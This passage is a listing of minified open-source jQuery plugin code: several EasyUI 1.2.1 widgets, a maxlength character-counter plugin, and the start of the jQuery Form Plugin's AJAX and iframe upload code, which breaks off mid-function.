}); },add:function(jq,_37){ return jq.each(function(){ add(this,_37); }); },remove:function(jq,_38){ return jq.each(function(){ _2a(this,_38); }); }}; $.fn.accordion.parseOptions=function(_39){ var t=$(_39); return {width:(parseInt(_39.style.width)||undefined),height:(parseInt(_39.style.height)||undefined),fit:(t.attr("fit")?t.attr("fit")=="true":undefined),border:(t.attr("border")?t.attr("border")=="true":undefined),animate:(t.attr("animate")?t.attr("animate")=="true":undefined)}; }; $.fn.accordion.defaults={width:"auto",height:"auto",fit:false,border:true,animate:true,onSelect:function(_3a){ },onAdd:function(_3b){ },onBeforeRemove:function(_3c){ },onRemove:function(_3d){ }}; })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"splitbutton").options; var _4=$(_2); _4.removeClass("s-btn-active s-btn-plain-active"); _4.linkbutton(_3); if(_3.menu){ $(_3.menu).menu({onShow:function(){ _4.addClass((_3.plain==true)?"s-btn-plain-active":"s-btn-active"); },onHide:function(){ _4.removeClass((_3.plain==true)?"s-btn-plain-active":"s-btn-active"); }}); } _5(_2,_3.disabled); }; function _5(_6,_7){ var _8=$.data(_6,"splitbutton").options; _8.disabled=_7; var _9=$(_6); var _a=_9.find(".s-btn-downarrow"); if(_7){ _9.linkbutton("disable"); _a.unbind(".splitbutton"); }else{ _9.linkbutton("enable"); _a.unbind(".splitbutton"); _a.bind("click.splitbutton",function(){ _b(); return false; }); var _c=null; _a.bind("mouseenter.splitbutton",function(){ _c=setTimeout(function(){ _b(); },_8.duration); return false; }).bind("mouseleave.splitbutton",function(){ if(_c){ clearTimeout(_c); } }); } function _b(){ if(!_8.menu){ return; } var _d=_9.offset().left; if(_d+$(_8.menu).outerWidth()+5>$(window).width()){ _d=$(window).width()-$(_8.menu).outerWidth()-5; } $("body>div.menu-top").menu("hide"); $(_8.menu).menu("show",{left:_d,top:_9.offset().top+_9.outerHeight()}); _9.blur(); }; }; $.fn.splitbutton=function(_e,_f){ if(typeof _e=="string"){ return $.fn.splitbutton.methods[_e](this,_f); } _e=_e||{}; return this.each(function(){ var _10=$.data(this,"splitbutton"); if(_10){ $.extend(_10.options,_e); }else{ $(this).append("<span class=\"s-btn-downarrow\">&nbsp;</span>"); $.data(this,"splitbutton",{options:$.extend({},$.fn.splitbutton.defaults,$.fn.splitbutton.parseOptions(this),_e)}); $(this).removeAttr("disabled"); } _1(this); }); }; $.fn.splitbutton.methods={options:function(jq){ return $.data(jq[0],"splitbutton").options; },enable:function(jq){ return jq.each(function(){ _5(this,false); }); },disable:function(jq){ return jq.each(function(){ _5(this,true); }); }}; $.fn.splitbutton.parseOptions=function(_11){ var t=$(_11); return $.extend({},$.fn.linkbutton.parseOptions(_11),{menu:t.attr("menu"),duration:t.attr("duration")}); }; $.fn.splitbutton.defaults=$.extend({},$.fn.linkbutton.defaults,{plain:true,menu:null,duration:100}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$(_2); var _4=$("<div class=\"datebox-calendar\">"+"<div class=\"datebox-calendar-inner\">"+"<div></div>"+"</div>"+"<div class=\"datebox-button\"></div>"+"</div>").appendTo("body"); _4.find("div.datebox-calendar-inner>div").calendar({fit:true,border:false,onSelect:function(_5){ var _6=$.data(_2,"datebox").options; var v=_6.formatter(_5); $(_2).val(v); _4.hide(); _1a(_2,true); _6.onSelect.call(_2,_5); }}); _4.hide().mousedown(function(){ return false; }); return _4; }; function _7(_8){ $(document).unbind(".datebox"); $.data(_8,"datebox").calendar.remove(); $(_8).validatebox("destroy"); }; function _9(_a){ var _b=$.data(_a,"datebox").options; var _c=$(_a); $(document).unbind(".datebox"); _c.unbind(".datebox"); if(!_b.disabled){ $(document).bind("mousedown.datebox",function(){ $("body>div.datebox-calendar").hide(); }); _c.bind("focus.datebox",function(){ _d(_a); }).bind("click.datebox",function(){ _d(_a); }); } }; function _e(_f){ var _10=$.data(_f,"datebox").options; var _11=$.data(_f,"datebox").calendar; var _12=_11.find("div.datebox-button"); _12.empty(); $("<a href=\"javascript:void(0)\" class=\"datebox-current\"></a>").html(_10.currentText).appendTo(_12); $("<a href=\"javascript:void(0)\" class=\"datebox-close\"></a>").html(_10.closeText).appendTo(_12); _12.find(".datebox-current,.datebox-close").hover(function(){ $(this).addClass("datebox-button-hover"); },function(){ $(this).removeClass("datebox-button-hover"); }); _12.find(".datebox-current").click(function(){ _11.find("div.datebox-calendar-inner>div").calendar({year:new Date().getFullYear(),month:new Date().getMonth()+1,current:new Date()}); }); _12.find(".datebox-close").click(function(){ _11.hide(); }); }; function _d(_13){ var _14=$.data(_13,"datebox").options; var _15=$.data(_13,"datebox").calendar; _15.show(); if($.fn.window){ _15.css("z-index",$.fn.window.defaults.zIndex++); } (function(){ if(_15.is(":visible")){ _15.css({display:"block",left:$(_13).offset().left,top:$(_13).offset().top+$(_13).outerHeight()}); setTimeout(arguments.callee,200); } })(); var _16=_14.parser($(_13).val()); _15.find("div.datebox-calendar-inner>div").calendar({year:_16.getFullYear(),month:_16.getMonth()+1,current:_16}); }; function _17(_18){ var _19=$.data(_18,"datebox").calendar; _19.hide(); }; function _1a(_1b,_1c){ if($.fn.validatebox){ var _1d=$.data(_1b,"datebox").options; $(_1b).validatebox(_1d); if(_1c){ $(_1b).validatebox("validate"); $(_1b).trigger("mouseleave"); } } }; function _1e(_1f,_20){ var _21=$.data(_1f,"datebox").options; if(_20){ _21.disabled=true; $(_1f).attr("disabled",true); }else{ _21.disabled=false; $(_1f).removeAttr("disabled"); } }; $.fn.datebox=function(_22,_23){ if(typeof _22=="string"){ var _24=$.fn.datebox.methods[_22]; if(_24){ return _24(this,_23); }else{ return this.validatebox(_22,_23); } } _22=_22||{}; return this.each(function(){ var _25=$.data(this,"datebox"); if(_25){ $.extend(_25.options,_22); }else{ _25=$.data(this,"datebox",{options:$.extend({},$.fn.datebox.defaults,$.fn.datebox.parseOptions(this),_22),calendar:_1(this)}); $(this).removeAttr("disabled"); } _e(this); _1e(this,_25.options.disabled); _9(this); _1a(this); }); }; $.fn.datebox.methods={destroy:function(jq){ return jq.each(function(){ _7(this); }); },disable:function(jq){ return jq.each(function(){ _1e(this,true); _9(this); }); },enable:function(jq){ return jq.each(function(){ _1e(this,false); _9(this); }); }}; $.fn.datebox.parseOptions=function(_26){ var t=$(_26); return $.extend({},$.fn.validatebox.parseOptions(_26),{disabled:(t.attr("disabled")?true:undefined)}); }; $.fn.datebox.defaults=$.extend({},$.fn.validatebox.defaults,{currentText:"Today",closeText:"Close",disabled:false,formatter:function(_27){ var y=_27.getFullYear(); var m=_27.getMonth()+1; var d=_27.getDate(); return m+"/"+d+"/"+y; },parser:function(s){ var t=Date.parse(s); if(!isNaN(t)){ return new Date(t); }else{ return new Date(); } },onSelect:function(_28){ }}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"numberspinner").options; $(_2).spinner(_3).numberbox(_3); }; function _4(_5,_6){ var _7=$.data(_5,"numberspinner").options; var v=parseFloat($(_5).val()||_7.value)||0; if(_6==true){ v-=_7.increment; }else{ v+=_7.increment; } $(_5).val(v).numberbox("fix"); }; $.fn.numberspinner=function(_8,_9){ if(typeof _8=="string"){ var _a=$.fn.numberspinner.methods[_8]; if(_a){ return _a(this,_9); }else{ return this.spinner(_8,_9); } } _8=_8||{}; return this.each(function(){ var _b=$.data(this,"numberspinner"); if(_b){ $.extend(_b.options,_8); }else{ $.data(this,"numberspinner",{options:$.extend({},$.fn.numberspinner.defaults,$.fn.numberspinner.parseOptions(this),_8)}); } _1(this); }); }; $.fn.numberspinner.methods={options:function(jq){ var _c=$.data(jq[0],"numberspinner").options; return $.extend(_c,{value:jq.val()}); },setValue:function(jq,_d){ return jq.each(function(){ $(this).val(_d).numberbox("fix"); }); }}; $.fn.numberspinner.parseOptions=function(_e){ return $.extend({},$.fn.spinner.parseOptions(_e),$.fn.numberbox.parseOptions(_e),{}); }; $.fn.numberspinner.defaults=$.extend({},$.fn.spinner.defaults,$.fn.numberbox.defaults,{spin:function(_f){ _4(this,_f); }}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"menubutton").options; var _4=$(_2); _4.removeClass("m-btn-active m-btn-plain-active"); _4.linkbutton(_3); if(_3.menu){ $(_3.menu).menu({onShow:function(){ _4.addClass((_3.plain==true)?"m-btn-plain-active":"m-btn-active"); },onHide:function(){ _4.removeClass((_3.plain==true)?"m-btn-plain-active":"m-btn-active"); }}); } _5(_2,_3.disabled); }; function _5(_6,_7){ var _8=$.data(_6,"menubutton").options; _8.disabled=_7; var _9=$(_6); if(_7){ _9.linkbutton("disable"); _9.unbind(".menubutton"); }else{ _9.linkbutton("enable"); _9.unbind(".menubutton"); _9.bind("click.menubutton",function(){ _a(); return false; }); var _b=null; _9.bind("mouseenter.menubutton",function(){ _b=setTimeout(function(){ _a(); },_8.duration); return false; }).bind("mouseleave.menubutton",function(){ if(_b){ clearTimeout(_b); } }); } function _a(){ if(!_8.menu){ return; } var _c=_9.offset().left; if(_c+$(_8.menu).outerWidth()+5>$(window).width()){ _c=$(window).width()-$(_8.menu).outerWidth()-5; } $("body>div.menu-top").menu("hide"); $(_8.menu).menu("show",{left:_c,top:_9.offset().top+_9.outerHeight()}); _9.blur(); }; }; $.fn.menubutton=function(_d,_e){ if(typeof _d=="string"){ return $.fn.menubutton.methods[_d](this,_e); } _d=_d||{}; return this.each(function(){ var _f=$.data(this,"menubutton"); if(_f){ $.extend(_f.options,_d); }else{ $(this).append("<span class=\"m-btn-downarrow\">&nbsp;</span>"); $.data(this,"menubutton",{options:$.extend({},$.fn.menubutton.defaults,$.fn.menubutton.parseOptions(this),_d)}); $(this).removeAttr("disabled"); } _1(this); }); }; $.fn.menubutton.methods={options:function(jq){ return $.data(jq[0],"menubutton").options; },enable:function(jq){ return jq.each(function(){ _5(this,false); }); },disable:function(jq){ return jq.each(function(){ _5(this,true); }); }}; $.fn.menubutton.parseOptions=function(_10){ var t=$(_10); return $.extend({},$.fn.linkbutton.parseOptions(_10),{menu:t.attr("menu"),duration:t.attr("duration")}); }; $.fn.menubutton.defaults=$.extend({},$.fn.linkbutton.defaults,{plain:true,menu:null,duration:100}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"linkbutton").options; $(_2).empty(); $(_2).addClass("l-btn"); if(_3.id){ $(_2).attr("id",_3.id); }else{ $(_2).removeAttr("id"); } if(_3.plain){ $(_2).addClass("l-btn-plain"); }else{ $(_2).removeClass("l-btn-plain"); } if(_3.text){ $(_2).html(_3.text).wrapInner("<span class=\"l-btn-left\">"+"<span class=\"l-btn-text\">"+"</span>"+"</span>"); if(_3.iconCls){ $(_2).find(".l-btn-text").addClass(_3.iconCls).css("padding-left","20px"); } }else{ $(_2).html("&nbsp;").wrapInner("<span class=\"l-btn-left\">"+"<span class=\"l-btn-text\">"+"<span class=\"l-btn-empty\"></span>"+"</span>"+"</span>"); if(_3.iconCls){ $(_2).find(".l-btn-empty").addClass(_3.iconCls); } } _4(_2,_3.disabled); }; function _4(_5,_6){ var _7=$.data(_5,"linkbutton"); if(_6){ _7.options.disabled=true; var _8=$(_5).attr("href"); if(_8){ _7.href=_8; $(_5).attr("href","javascript:void(0)"); } var _9=$(_5).attr("onclick"); if(_9){ _7.onclick=_9; $(_5).attr("onclick",null); } $(_5).addClass("l-btn-disabled"); }else{ _7.options.disabled=false; if(_7.href){ $(_5).attr("href",_7.href); } if(_7.onclick){ _5.onclick=_7.onclick; } $(_5).removeClass("l-btn-disabled"); } }; $.fn.linkbutton=function(_a,_b){ if(typeof _a=="string"){ return $.fn.linkbutton.methods[_a](this,_b); } _a=_a||{}; return this.each(function(){ var _c=$.data(this,"linkbutton"); if(_c){ $.extend(_c.options,_a); }else{ $.data(this,"linkbutton",{options:$.extend({},$.fn.linkbutton.defaults,$.fn.linkbutton.parseOptions(this),_a)}); $(this).removeAttr("disabled"); } _1(this); }); }; $.fn.linkbutton.methods={options:function(jq){ return $.data(jq[0],"linkbutton").options; },enable:function(jq){ return jq.each(function(){ _4(this,false); }); },disable:function(jq){ return jq.each(function(){ _4(this,true); }); }}; $.fn.linkbutton.parseOptions=function(_d){ var t=$(_d); return {id:t.attr("id"),disabled:(t.attr("disabled")?true:undefined),plain:(t.attr("plain")?t.attr("plain")=="true":undefined),text:$.trim(t.html()),iconCls:(t.attr("icon")||t.attr("iconCls"))}; }; $.fn.linkbutton.defaults={id:null,disabled:false,plain:false,text:"",iconCls:null}; })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2,_3){ var _4=$(_2).combo("panel"); var _5=_4.find("div.combobox-item[value="+_3+"]"); if(_5.length){ if(_5.position().top<=0){ var h=_4.scrollTop()+_5.position().top; _4.scrollTop(h); }else{ if(_5.position().top+_5.outerHeight()>_4.height()){ var h=_4.scrollTop()+_5.position().top+_5.outerHeight()-_4.height(); _4.scrollTop(h); } } } }; function _6(_7){ var _8=$(_7).combo("panel"); var _9=$(_7).combo("getValues"); var _a=_8.find("div.combobox-item[value="+_9.pop()+"]"); if(_a.length){ var _b=_a.prev(":visible"); if(_b.length){ _a=_b; } }else{ _a=_8.find("div.combobox-item:visible:last"); } var _c=_a.attr("value"); _d(_7,[_c]); _1(_7,_c); }; function _e(_f){ var _10=$(_f).combo("panel"); var _11=$(_f).combo("getValues"); var _12=_10.find("div.combobox-item[value="+_11.pop()+"]"); if(_12.length){ var _13=_12.next(":visible"); if(_13.length){ _12=_13; } }else{ _12=_10.find("div.combobox-item:visible:first"); } var _14=_12.attr("value"); _d(_f,[_14]); _1(_f,_14); }; function _15(_16,_17){ var _18=$.data(_16,"combobox").options; var _19=$.data(_16,"combobox").data; if(_18.multiple){ var _1a=$(_16).combo("getValues"); for(var i=0;i<_1a.length;i++){ if(_1a[i]==_17){ return; } } _1a.push(_17); _d(_16,_1a); }else{ _d(_16,[_17]); } for(var i=0;i<_19.length;i++){ if(_19[i][_18.valueField]==_17){ _18.onSelect.call(_16,_19[i]); return; } } }; function _1b(_1c,_1d){ var _1e=$.data(_1c,"combobox").options; var _1f=$.data(_1c,"combobox").data; var _20=$(_1c).combo("getValues"); for(var i=0;i<_20.length;i++){ if(_20[i]==_1d){ _20.splice(i,1); _d(_1c,_20); break; } } for(var i=0;i<_1f.length;i++){ if(_1f[i][_1e.valueField]==_1d){ _1e.onUnselect.call(_1c,_1f[i]); return; } } }; function _d(_21,_22,_23){ var _24=$.data(_21,"combobox").options; var _25=$.data(_21,"combobox").data; var _26=$(_21).combo("panel"); _26.find("div.combobox-item-selected").removeClass("combobox-item-selected"); var vv=[],ss=[]; for(var i=0;i<_22.length;i++){ var v=_22[i]; var s=v; for(var j=0;j<_25.length;j++){ if(_25[j][_24.valueField]==v){ s=_25[j][_24.textField]; break; } } vv.push(v); ss.push(s); _26.find("div.combobox-item[value="+v+"]").addClass("combobox-item-selected"); } $(_21).combo("setValues",vv); if(!_23){ $(_21).combo("setText",ss.join(_24.separator)); } }; function _27(_28){ var _29=$.data(_28,"combobox").options; var _2a=[]; $(">option",_28).each(function(){ var _2b={}; _2b[_29.valueField]=$(this).attr("value")||$(this).html(); _2b[_29.textField]=$(this).html(); _2b["selected"]=$(this).attr("selected"); _2a.push(_2b); }); return _2a; }; function _2c(_2d,_2e,_2f){ var _30=$.data(_2d,"combobox").options; var _31=$(_2d).combo("panel"); $.data(_2d,"combobox").data=_2e; var _32=$(_2d).combobox("getValues"); _31.empty(); for(var i=0;i<_2e.length;i++){ var v=_2e[i][_30.valueField]; var s=_2e[i][_30.textField]; var _33=$("<div class=\"combobox-item\"></div>").appendTo(_31); _33.attr("value",v); if(_30.formatter){ _33.html(_30.formatter.call(_2d,_2e[i])); }else{ _33.html(s); } if(_2e[i]["selected"]){ (function(){ for(var i=0;i<_32.length;i++){ if(v==_32[i]){ return; } } _32.push(v); })(); } } if(_30.multiple){ _d(_2d,_32,_2f); }else{ if(_32.length){ _d(_2d,[_32[_32.length-1]],_2f); }else{ _d(_2d,[],_2f); } } _30.onLoadSuccess.call(_2d,_2e); $(".combobox-item",_31).hover(function(){ $(this).addClass("combobox-item-hover"); },function(){ $(this).removeClass("combobox-item-hover"); }).click(function(){ var _34=$(this); if(_30.multiple){ if(_34.hasClass("combobox-item-selected")){ _1b(_2d,_34.attr("value")); }else{ _15(_2d,_34.attr("value")); } }else{ _15(_2d,_34.attr("value")); $(_2d).combo("hidePanel"); } }); }; function _35(_36,url,_37,_38){ var _39=$.data(_36,"combobox").options; if(url){ _39.url=url; } if(!_39.url){ return; } _37=_37||{}; $.ajax({url:_39.url,dataType:"json",data:_37,success:function(_3a){ _2c(_36,_3a,_38); },error:function(){ _39.onLoadError.apply(this,arguments); }}); }; function _3b(_3c,q){ var _3d=$.data(_3c,"combobox").options; if(_3d.multiple&&!q){ _d(_3c,[],true); }else{ _d(_3c,[q],true); } if(_3d.mode=="remote"){ _35(_3c,null,{q:q},true); }else{ var _3e=$(_3c).combo("panel"); _3e.find("div.combobox-item").hide(); var _3f=$.data(_3c,"combobox").data; for(var i=0;i<_3f.length;i++){ if(_3d.filter.call(_3c,q,_3f[i])){ var v=_3f[i][_3d.valueField]; var s=_3f[i][_3d.textField]; var _40=_3e.find("div.combobox-item[value="+v+"]"); _40.show(); if(s==q){ _d(_3c,[v],true); _40.addClass("combobox-item-selected"); } } } } }; function _41(_42){ var _43=$.data(_42,"combobox").options; $(_42).addClass("combobox-f"); $(_42).combo($.extend({},_43,{onShowPanel:function(){ $(_42).combo("panel").find("div.combobox-item").show(); _1(_42,$(_42).combobox("getValue")); _43.onShowPanel.call(_42); }})); }; $.fn.combobox=function(_44,_45){ if(typeof _44=="string"){ var _46=$.fn.combobox.methods[_44]; if(_46){ return _46(this,_45); }else{ return this.combo(_44,_45); } } _44=_44||{}; return this.each(function(){ var _47=$.data(this,"combobox"); if(_47){ $.extend(_47.options,_44); _41(this); }else{ _47=$.data(this,"combobox",{options:$.extend({},$.fn.combobox.defaults,$.fn.combobox.parseOptions(this),_44)}); _41(this); _2c(this,_27(this)); } if(_47.options.data){ _2c(this,_47.options.data); } _35(this); }); }; $.fn.combobox.methods={options:function(jq){ return $.data(jq[0],"combobox").options; },getData:function(jq){ return $.data(jq[0],"combobox").data; },setValues:function(jq,_48){ return jq.each(function(){ _d(this,_48); }); },setValue:function(jq,_49){ return jq.each(function(){ _d(this,[_49]); }); },clear:function(jq){ return jq.each(function(){ $(this).combo("clear"); var _4a=$(this).combo("panel"); _4a.find("div.combobox-item-selected").removeClass("combobox-item-selected"); }); },loadData:function(jq,_4b){ return jq.each(function(){ _2c(this,_4b); }); },reload:function(jq,url){ return jq.each(function(){ _35(this,url); }); },select:function(jq,_4c){ return jq.each(function(){ _15(this,_4c); }); },unselect:function(jq,_4d){ return jq.each(function(){ _1b(this,_4d); }); }}; $.fn.combobox.parseOptions=function(_4e){ var t=$(_4e); return $.extend({},$.fn.combo.parseOptions(_4e),{valueField:t.attr("valueField"),textField:t.attr("textField"),mode:t.attr("mode"),url:t.attr("url")}); }; $.fn.combobox.defaults=$.extend({},$.fn.combo.defaults,{valueField:"value",textField:"text",mode:"local",url:null,data:null,keyHandler:{up:function(){ _6(this); },down:function(){ _e(this); },enter:function(){ var _4f=$(this).combobox("getValues"); $(this).combobox("setValues",_4f); $(this).combobox("hidePanel"); },query:function(q){ _3b(this,q); }},filter:function(q,row){ var _50=$(this).combobox("options"); return row[_50.textField].indexOf(q)==0; },formatter:function(row){ var _51=$(this).combobox("options"); return row[_51.textField]; },onLoadSuccess:function(){ },onLoadError:function(){ },onSelect:function(_52){ },onUnselect:function(_53){ }}); })(jQuery);
JavaScript
/* @author: remy sharp / http://remysharp.com @params: feedback - the selector for the element that gives the user feedback. Note that this will be relative to the form the plugin is run against. hardLimit - whether to stop the user being able to keep adding characters. Defaults to true. useInput - whether to look for a hidden input named 'maxlength' instead of the maxlength attribute. Defaults to false. words - limit by characters or words, set this to true to limit by words. Defaults to false. @license: Creative Commons License - ShareAlike http://creativecommons.org/licenses/by-sa/3.0/ @version: 1.2 @changes: code tidy via Ariel Flesler and fix when pasting over limit and including \t or \n */ (function ($) { $.fn.maxlength = function (settings) { if (typeof settings == 'string') { settings = { feedback : settings }; } settings = $.extend({}, $.fn.maxlength.defaults, settings); function length(el) { var parts = el.value; if ( settings.words ) parts = el.value.length ? parts.split(/\s+/) : { length : 0 }; return parts.length; } return this.each(function () { var field = this, $field = $(field), $form = $(field.form), limit = settings.useInput ? $form.find('input[name=maxlength]').val() : $field.attr('maxlength'), $charsLeft = $(this).parents("tr").find("span.charsLeft");//$form.find(settings.feedback); function limitCheck(event) { var len = length(this), exceeded = len >= limit, code = event.keyCode; if ( !exceeded ) return; switch (code) { case 8: // allow delete case 9: case 17: case 36: // and cursor keys case 35: case 37: case 38: case 39: case 40: case 46: case 65: return; default: return settings.words && code != 32 && code != 13 && len == limit; } } var updateCount = function () { var len = length(field), diff = limit - len; $charsLeft.html( diff || "0" ); // truncation code if (settings.hardLimit && diff < 0) { field.value = settings.words ? // split by white space, capturing it in the result, then glue them back field.value.split(/(\s+)/, (limit*2)-1).join('') : field.value.substr(0, limit); updateCount(); } }; $field.keyup(updateCount).change(updateCount); if (settings.hardLimit) { $field.keydown(limitCheck); } updateCount(); }); }; $.fn.maxlength.defaults = { useInput : false, hardLimit : true, feedback : '.charsLeft', words : false }; })(jQuery);
JavaScript
/*! * jQuery Form Plugin * version: 2.80 (25-MAY-2011) * @requires jQuery v1.3.2 or later * * Examples and documentation at: http://malsup.com/jquery/form/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ ;(function($) { /* Usage Note: ----------- Do not use both ajaxSubmit and ajaxForm on the same form. These functions are intended to be exclusive. Use ajaxSubmit if you want to bind your own submit handler to the form. For example, $(document).ready(function() { $('#myForm').bind('submit', function(e) { e.preventDefault(); // <-- important $(this).ajaxSubmit({ target: '#output' }); }); }); Use ajaxForm when you want the plugin to manage all the event binding for you. For example, $(document).ready(function() { $('#myForm').ajaxForm({ target: '#output' }); }); When using ajaxForm, the ajaxSubmit function will be invoked for you at the appropriate time. */ /** * ajaxSubmit() provides a mechanism for immediately submitting * an HTML form using AJAX. */ $.fn.ajaxSubmit = function(options) { // fast fail if nothing selected (http://dev.jquery.com/ticket/2752) if (!this.length) { log('ajaxSubmit: skipping submit process - no element selected'); return this; } if (typeof options == 'function') { options = { success: options }; } var action = this.attr('action'); var url = (typeof action === 'string') ? $.trim(action) : ''; url = url || window.location.href || ''; if (url) { // clean url (don't include hash vaue) url = (url.match(/^([^#]+)/)||[])[1]; } options = $.extend(true, { url: url, success: $.ajaxSettings.success, type: this[0].getAttribute('method') || 'GET', // IE7 massage (see issue 57) iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank' }, options); // hook for manipulating the form data before it is extracted; // convenient for use with rich editors like tinyMCE or FCKEditor var veto = {}; this.trigger('form-pre-serialize', [this, options, veto]); if (veto.veto) { log('ajaxSubmit: submit vetoed via form-pre-serialize trigger'); return this; } // provide opportunity to alter form data before it is serialized if (options.beforeSerialize && options.beforeSerialize(this, options) === false) { log('ajaxSubmit: submit aborted via beforeSerialize callback'); return this; } var n,v,a = this.formToArray(options.semantic); if (options.data) { options.extraData = options.data; for (n in options.data) { if(options.data[n] instanceof Array) { for (var k in options.data[n]) { a.push( { name: n, value: options.data[n][k] } ); } } else { v = options.data[n]; v = $.isFunction(v) ? v() : v; // if value is fn, invoke it a.push( { name: n, value: v } ); } } } // give pre-submit callback an opportunity to abort the submit if (options.beforeSubmit && options.beforeSubmit(a, this, options) === false) { log('ajaxSubmit: submit aborted via beforeSubmit callback'); return this; } // fire vetoable 'validate' event this.trigger('form-submit-validate', [a, this, options, veto]); if (veto.veto) { log('ajaxSubmit: submit vetoed via form-submit-validate trigger'); return this; } var q = $.param(a); if (options.type.toUpperCase() == 'GET') { options.url += (options.url.indexOf('?') >= 0 ? '&' : '?') + q; options.data = null; // data is null for 'get' } else { options.data = q; // data is the query string for 'post' } var $form = this, callbacks = []; if (options.resetForm) { callbacks.push(function() { $form.resetForm(); }); } if (options.clearForm) { callbacks.push(function() { $form.clearForm(); }); } // perform a load on the target only if dataType is not provided if (!options.dataType && options.target) { var oldSuccess = options.success || function(){}; callbacks.push(function(data) { var fn = options.replaceTarget ? 'replaceWith' : 'html'; $(options.target)[fn](data).each(oldSuccess, arguments); }); } else if (options.success) { callbacks.push(options.success); } options.success = function(data, status, xhr) { // jQuery 1.4+ passes xhr as 3rd arg var context = options.context || options; // jQuery 1.4+ supports scope context for (var i=0, max=callbacks.length; i < max; i++) { callbacks[i].apply(context, [data, status, xhr || $form, $form]); } }; // are there files to upload? var fileInputs = $('input:file', this).length > 0; var mp = 'multipart/form-data'; var multipart = ($form.attr('enctype') == mp || $form.attr('encoding') == mp); // options.iframe allows user to force iframe mode // 06-NOV-09: now defaulting to iframe mode if file input is detected if (options.iframe !== false && (fileInputs || options.iframe || multipart)) { // hack to fix Safari hang (thanks to Tim Molendijk for this) // see: http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d if (options.closeKeepAlive) { $.get(options.closeKeepAlive, function() { fileUpload(a); }); } else { fileUpload(a); } } else { $.ajax(options); } // fire 'notify' event this.trigger('form-submit-notify', [this, options]); return this; // private function for handling file uploads (hat tip to YAHOO!) function fileUpload(a) { var form = $form[0], i, s, g, id, $io, io, xhr, sub, n, timedOut, timeoutHandle; if (a) { // ensure that every serialized input is still enabled for (i=0; i < a.length; i++) { $(form[a[i].name]).attr('disabled', false); } } if ($(':input[name=submit],:input[id=submit]', form).length) { // if there is an input with a name or id of 'submit' then we won't be // able to invoke the submit fn on the form (at least not x-browser) alert('Error: Form elements must not have name or id of "submit".'); return; } s = $.extend(true, {}, $.ajaxSettings, options); s.context = s.context || s; id = 'jqFormIO' + (new Date().getTime()); if (s.iframeTarget) { $io = $(s.iframeTarget); n = $io.attr('name'); if (n == null) $io.attr('name', id); else id = n; } else { $io = $('<iframe name="' + id + '" src="'+ s.iframeSrc +'" />'); $io.css({ position: 'absolute', top: '-1000px', left: '-1000px' }); } io = $io[0]; xhr = { // mock object aborted: 0, responseText: null, responseXML: null, status: 0, statusText: 'n/a', getAllResponseHeaders: function() {}, getResponseHeader: function() {}, setRequestHeader: function() {}, abort: function(status) { var e = (status === 'timeout' ? 'timeout' : 'aborted'); log('aborting upload... ' + e); this.aborted = 1; $io.attr('src', s.iframeSrc); // abort op in progress xhr.error = e; s.error && s.error.call(s.context, xhr, e, e); g && $.event.trigger("ajaxError", [xhr, s, e]); s.complete && s.complete.call(s.context, xhr, e); } }; g = s.global; // trigger ajax global events so that activity/block indicators work like normal if (g && ! $.active++) { $.event.trigger("ajaxStart"); } if (g) { $.event.trigger("ajaxSend", [xhr, s]); } if (s.beforeSend && s.beforeSend.call(s.context, xhr, s) === false) { if (s.global) { $.active--; } return; } if (xhr.aborted) { return; } // add submitting element to data if we know it sub = form.clk; if (sub) { n = sub.name; if (n && !sub.disabled) { s.extraData = s.extraData || {}; s.extraData[n] = sub.value; if (sub.type == "image") { s.extraData[n+'.x'] = form.clk_x; s.extraData[n+'.y'] = form.clk_y; } } } // take a breath so that pending repaints get some cpu time before the upload starts function doSubmit() { // make sure form attrs are set var t = $form.attr('target'), a = $form.attr('action'); // update form attrs in IE friendly way form.setAttribute('target',id); if (form.getAttribute('method') != 'POST') { form.setAttribute('method', 'POST'); } if (form.getAttribute('action') != s.url) { form.setAttribute('action', s.url); } // ie borks in some cases when setting encoding if (! s.skipEncodingOverride) { $form.attr({ encoding: 'multipart/form-data', enctype: 'multipart/form-data' }); } // support timout if (s.timeout) { timeoutHandle = setTimeout(function() { timedOut = true; cb(true); }, s.timeout); } // add "extra" data to form if provided in options var extraInputs = []; try { if (s.extraData) { for (var n in s.extraData) { extraInputs.push( $('<input type="hidden" name="'+n+'" value="'+s.extraData[n]+'" />') .appendTo(form)[0]); } } if (!s.iframeTarget) { // add iframe to doc and submit the form $io.appendTo('body'); io.attachEvent ? io.attachEvent('onload', cb) : io.addEventListener('load', cb, false); } form.submit(); } finally { // reset attrs and remove "extra" input elements form.setAttribute('action',a); if(t) { form.setAttribute('target', t); } else { $form.removeAttr('target'); } $(extraInputs).remove(); } } if (s.forceSync) { doSubmit(); } else { setTimeout(doSubmit, 10); // this lets dom updates render } var data, doc, domCheckCount = 50, callbackProcessed; function cb(e) { if (xhr.aborted || callbackProcessed) { return; } if (e === true && xhr) { xhr.abort('timeout'); return; } var doc = io.contentWindow ? io.contentWindow.document : io.contentDocument ? io.contentDocument : io.document; if (!doc || doc.location.href == s.iframeSrc) { // response not received yet if (!timedOut) return; } 